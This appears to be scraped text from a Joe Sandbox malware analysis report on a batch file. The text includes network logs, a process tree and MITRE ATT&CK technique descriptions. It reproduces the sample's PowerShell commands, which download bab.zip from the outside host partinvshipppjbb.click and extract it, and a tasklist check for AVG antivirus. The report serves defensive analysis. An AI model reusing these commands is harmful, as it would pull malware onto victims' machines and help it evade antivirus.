Dec 8, 2024 08:43:45.134943008 CET	1.1.1.1	192.168.2.7	0x5711	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.58.101	A (IP address)	IN (0x0001)	false
Dec 8, 2024 08:43:45.134943008 CET	1.1.1.1	192.168.2.7	0x5711	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.58.98	A (IP address)	IN (0x0001)	false
Dec 8, 2024 08:43:45.134943008 CET	1.1.1.1	192.168.2.7	0x5711	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.58.100	A (IP address)	IN (0x0001)	false
Dec 8, 2024 08:44:09.228935003 CET	1.1.1.1	192.168.2.7	0x6a3b	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 8, 2024 08:44:09.228935003 CET	1.1.1.1	192.168.2.7	0x6a3b	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 8, 2024 08:44:33.378210068 CET	1.1.1.1	192.168.2.7	0xdfa1	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 8, 2024 08:44:33.378210068 CET	1.1.1.1	192.168.2.7	0xdfa1	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 08:42:22.541078091 CET	179	OUT	GET /bab.zip HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: partinvshipppjbb.click:7382 Connection: Keep-Alive
Dec 8, 2024 08:42:23.831779003 CET	307	IN	HTTP/1.1 200 OK Content-Length: 48690070 Last-Modified: Sat, 07 Dec 2024 09:17:16 GMT Content-Type: application/x-zip-compressed Date: Sun, 08 Dec 2024 07:42:23 GMT ETag: "2d193989039d98b00696c89e57084361-1733563036-48690070" Accept-Ranges: bytes Server: WsgiDAV/4.3.0 Cheroot/9.0.0 Python/3.11.1

Target ID:	0
Start time:	02:42:17
Start date:	08/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\YnViC5yHLu.bat" "
Imagebase:	0x7ff697ec0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	7
Start time:	02:42:18
Start date:	08/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq avgui.exe"
Imagebase:	0x7ff70ed70000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report YnViC5yHLu.bat

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.chk

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\bee5b649-77a9-4ed4-a27c-8205e4cdb215.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7608

Windows Analysis Report
YnViC5yHLu.bat

Target ID:	10
Start time:	02:42:19
Start date:	08/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://partinvshipppjbb.click:7382/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	11
Start time:	02:42:21
Start date:	08/12/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	22
Start time:	04:15:06
Start date:	08/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "try { Expand-Archive -Path 'C:\Users\user\Downloads\downloaded.zip' -DestinationPath 'C:\Users\user\Downloads\Extracted' -Force } catch { exit 1 }"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre